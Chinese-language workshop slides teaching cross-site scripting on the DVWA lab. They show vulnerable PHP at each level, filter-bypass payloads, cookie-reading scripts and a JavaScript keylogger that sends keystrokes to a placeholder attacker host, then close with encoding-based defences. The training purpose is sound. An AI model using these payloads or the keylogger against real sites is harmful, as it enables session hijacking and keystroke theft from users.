Web Security

Cross-site scripting - XSS

貼心提醒 : 

 

講座中你應該...

聽台上那個唬爛

聽台上那個唬爛

不然欣賞我的帥氣也好

把該記得的牢牢記住

把不該記的一秒忘光

不然會有人敲
我家門要買普洱茶

不過在澎湖應該是要買風茹茶


貼心提醒 :  

 

講座中你不能做什麼呢?

 

如果講師的聲音太好聽
讓你想睡覺

 

記得睡覺時不可以打呼

 

如果覺得講師講得很無趣
想跟朋友聊天

 

不可以聊的比我還大聲

 

如果講師的講得太爛

讓你很不爽

 

拜託不要往台上丟垃圾

 

m(_ _)m  m(_ _)m  m(_ _)m

 

大家好! 我是 HrJ

 

  • 現任 TDOHacker 創辦人、總召

  • 現任 Leukocyte-Lab 營運長

 

  • 曾任 淡江大學 資安&網路服務隊

  • 曾任 VSSecruity 資安顧問

  • 曾任 Athemaster 技術顧問

 

  • 曾在成人線上直播網

跳出我好帥的男人

請我去的老師表示:

同學上完課要
實作截圖當報告分數喔! 

XSS 攻擊技術 - 從入門到崩潰

課程學習準備

  • 安裝最新版 Firefox

  • 安裝插件 Tamper data

  • 安裝插件 hack bar​ 

課程練習準備

  • 安裝 DVWA-1.9

  • 安裝 xmapp-5.6.30-VC11

  • 安裝 Kali Linux-2016.2

XAMPP  Install

DVWA  Install

admin / password

Cross-site scripting (CSS)

這縮寫好像...

Cascading Style Sheets (CSS)

因此取了諧音改叫

XSS

XSS 的特色?

  • 耗時間

  • 有相當機率不成功

  • 幾乎沒有自動攻擊套件/工具

  • 需要會基本 html、JS

  • 後期需要很扎實的  html、JS

  • 相當被動型的攻擊手法

  • 遇到 Httponly、crossdomian.xml就掛掉

  • 各大網站都有機會出現

XSS 精華在於

執行你自己精美的 "JS"

正常來說我們是這樣用

如果裡面改成你自己的 JS 呢?

var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);

Simple keylogger

斯斯有三種,XSS 也有三種

  • XSS Reflected - 反射型 XSS

  • XSS Stored -儲存/持久型 XSS

  • XSS DOM - DOM型 XSS

XSS Reflected - 反射型 XSS

XSS Reflected - 反射型 XSS

Low Security Level


<script>alert("xss")</script>

<script>alert(document.cookie);</script>
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

XSS Reflected - 反射型 XSS

Medium Security Level


<SCRipt>alert(document.cookie);</ScripT>

<scri<script>pt>alert(document.cookie);</scr<script>ipt>
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

XSS Reflected - 反射型 XSS

High Security Level


<img src=1 onerror=alert('xss')>
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

XSS Reflected - 反射型 XSS

Impossible Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

祕訣?

  • 見框就插

  • 改封包不可見的部分(隱藏欄位)

  • 改URL參數

  • js分析

  • 大小寫/編碼混淆

  • 嵌入構造

XSS Stored - ​儲存/持久型 XSS

  • 儲存型 > 保留在 Server 端

  • 反射型 > 執行在 Client 端

XSS Stored - 儲存型 XSS

Low Security Level


<img src=1 onerror=alert('XSSStored')>

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

字數限制Name呢?

抓封包改!

(這題只有擋前端!)

從前端修改長度限制也是可行的!


(後端沒限制。)

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

XSS Stored - 儲存型 XSS

Medium Security Level

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 
  • strip_tags()

    • ​針對 HTML &XMP & PHP 標籤作過濾,但可以使用 <b>。
  • addslashes()

    • 針對一些特殊符號(單引號、雙引號、反斜線、NULL)等加上反斜線

Message 很難走了

但是 Name 好像只過濾 <script>


<sc<script>ript>alert("xss")</script>

<Script>alert("xss")</script>

XSS Stored - 儲存型 XSS

High Security Level

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

<img src=1 onerror=alert(xss)>

XSS Stored - 儲存型 XSS

Impossible Security Level

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

XSS DOM - DOM型 XSS

特色

  • DOM =  Document Object Model

  • Server 端防護無關

  • 利用 Javascript 去爬找整顆 DOM 樹,去尋找/修改/取代某節點的對象跟值

  • 可能是反射型也可能是儲存型,視 DOM 所在位置而定

DOM 樹範例

XSS 攻擊的精華只有一句話 :

“XSS 就是在頁面

執行你想要的 JS“

Little tips

XSS-HTML 編碼

HTML Parser

JS Parser

CSS Parser

Browser 解析順序

HTML DEcoding

JS

DEcoding

CSS DEcoding

Browser 解碼順序

這順序有什麼關係呢?

\舉個例子/

當你的 xss 插入點在 <script> 中時
在純 HTML (非 XHTML 時)
怎樣都不可能被執行

\舉個例子/

當你手動嘗試編碼繞過 filter 時
感覺解碼起來是對的

可是就是跑不動

So...Why?

1 + 1 * 3 = 4

1 + 1 * 3 = 6

語言結構的解析差異

1 + 1 * 3 = 4

1 + 1 * 3 = 6

1(int)  +(option) 1(int)  *(option) 3(int)
<img src = 1/>

      (Data State)

<    (Tag open state)
img  (Tag name state)

src

=

1

/

>    (Tag close state)
      (Data State)
  • HTML編碼 只有在 Data State(標籤外部 or 標籤內的 text ) 和屬性值下才會解碼

  • 遇到特殊模式時,Data State 下也不會進行解碼

  • Tag name/open/close state 三種狀態下也不會進行 HTML 解碼

 特殊模式

  • <style>

  • <script>

  • <textarea>

  • <xmp>

以下 Tag 內的 text

就算是 Data state 也不進行 HTML 解析

  • <img src='x' onerror=alert("HrJ超帥 der")>

  • <img src='x' onerror='alert("HrJ超帥 der")'>

  • <img src='x' onerror=
    &#97;&#108;&#101;&#114;&#116;&#40;&#34;&#72;&#114;&#74;&#36229;&#24101;&#32;&#100;&#101;&#114;&#34;&#41;>

  • <img src='x' one&#114;&#114;&#111;&#114;&#61;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#72;&#114;&#74;&#36229;&#24101;&#32;&#100;&#101;&#114;&#34;&#41;>

<script>…${XSS payload}…</script> 
直接插入到SCRIPT中

<!– ${XSS payload} –> 
插入到HTML註解中

<div ${XSS payload}=”…”></div>
插入到HTML屬性標籤中

<div name=”…${XSS payload}…”></div>
插入到HTML標籤的屬性值中

<${XSS payload} href=”…”></a>
偽裝HTML標籤名稱

<style>…${XSS payload}…</style>
直接插入到CSS里

<img src=1 onerror=alert('xss')>
當找不到圖片名稱為 1 時,執行 error

<a href=javascrip:alert('xss')>s</a> 
點擊時運行

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
利用iframe的scr來跳窗

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
避開 alert 來跳窗

Playing~

Lession 1

<script>alert("HrJ超帥 der")</script>

Lession 2

<img src='x' onerror='alert("HrJ超帥 der")'>
<img src='x' onerror='alert(document.cookie)'>
<img src="${任意圖片網址}" onclick='alert("HrJ超帥 der")' />
<img src="${任意圖片網址}" onmousemove='alert("HrJ超帥 der")' />

Lession 3

' onerror='alert("HrJ超帥der")'>

Lession 4

');alert('HrJ超帥der

Lession 5

javascript: alert("HrJ超帥der");

Lession 6

https://xss-game.appspot.com/level6/frame#[url]

[url] = //www.google.com/jsapi?callback=alert


data:text/plain,alert('xss')

更多練習~

XSS Defence

XSS Defence

  • 插入 Html 標籤  中的數據要先進行 HTML Entity 編碼
  • 插入 Html 屬性  中的數據要先進行 HTML 屬性編碼
  • 插入 Script 中的數據要先進行 Script 編碼
  • 插入 Style 屬性  中的數據要先進行 CSS 編碼
  • 插入 HTML URL 中的數據要先進行 URL 編碼
  • 提供給  使用者的文字編輯器  要先用 XSS 過濾引擎進行過濾和編碼
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));

String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));

String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));

String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));

String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));

OWASP AntiSamp或者Java HTML Sanitizer

 調用 ESAPI 作 encoder

Q & A

Made with Slides.com